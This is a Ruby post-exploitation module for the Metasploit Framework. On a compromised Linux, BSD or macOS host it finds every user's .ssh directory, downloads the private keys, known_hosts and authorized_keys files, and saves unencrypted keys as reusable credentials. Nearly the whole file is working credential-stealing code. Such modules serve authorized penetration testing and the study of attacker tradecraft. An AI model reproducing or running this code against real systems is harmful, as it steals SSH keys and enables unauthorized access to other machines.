##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'msf/core/post/common'
require 'msf/core/post/unix'
require 'sshkey'

class Metasploit3 < Msf::Post

	include Msf::Post::File
	include Msf::Post::Common
	include Msf::Post::Unix

	def initialize(info={})
		super( update_info(info,
			'Name'           => 'Multi Gather OpenSSH PKI Credentials Collection',
			'Description'    => %q{
					This module will collect the contents of user's .ssh directory on the targeted
				machine. Additionally, known_hosts and authorized_keys and any other files are also
				downloaded. This module is largely based on firefox_creds.rb.
			},
			'License'        => MSF_LICENSE,
			'Author'         => ['Jim Halfpenny'],
			'Platform'       => ['linux', 'bsd', 'unix', 'osx'],
			'SessionTypes'   => ['meterpreter', 'shell' ]
		))
	end

	def run
		print_status("Finding .ssh directories")
		paths = enum_user_directories.map {|d| d + "/.ssh"}
		# Array#select! is only in 1.9
		paths = paths.select { |d| directory?(d) }

		if paths.nil? or paths.empty?
			print_error("No users found with a .ssh directory")
			return
		end

		download_loot(paths)
	end

	def download_loot(paths)
		print_status("Looting #{paths.count} directories")
		paths.each do |path|
			path.chomp!
			if session.type == "meterpreter"
				sep = session.fs.file.separator
				files = session.fs.dir.entries(path)
			else
				# Guess, but it's probably right
				sep = "/"
				files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
			end
      path_array = path.split(sep)
      path_array.pop
      user = path_array.pop
			files.each do |file|
				next if [".", ".."].include?(file)
				data = read_file("#{path}#{sep}#{file}")
				file = file.split(sep).last
				loot_path = store_loot("ssh.#{file}", "text/plain", session, data,
					"ssh_#{file}", "OpenSSH #{file} File")
				print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")

				# If the key is encrypted, this will fail and it won't be stored as a
				# cred.  That's ok because we can't really use encrypted keys anyway.
				key = SSHKey.new(data, :passphrase => "") rescue nil
				if key and loot_path
					print_status("Saving private key #{file} as cred")
					cred_hash = {
						:host => session.session_host,
						:port => 22,
						:sname => 'ssh',
            :user => user,
						:pass => loot_path,
						:source_type => "exploit",
						:type => 'ssh_key',
						:proof => "KEY=#{key.fingerprint}",
						:duplicate_ok => true,
						:active => true
					}
					report_auth_info(cred_hash)
				end
			end

		end
	end

end
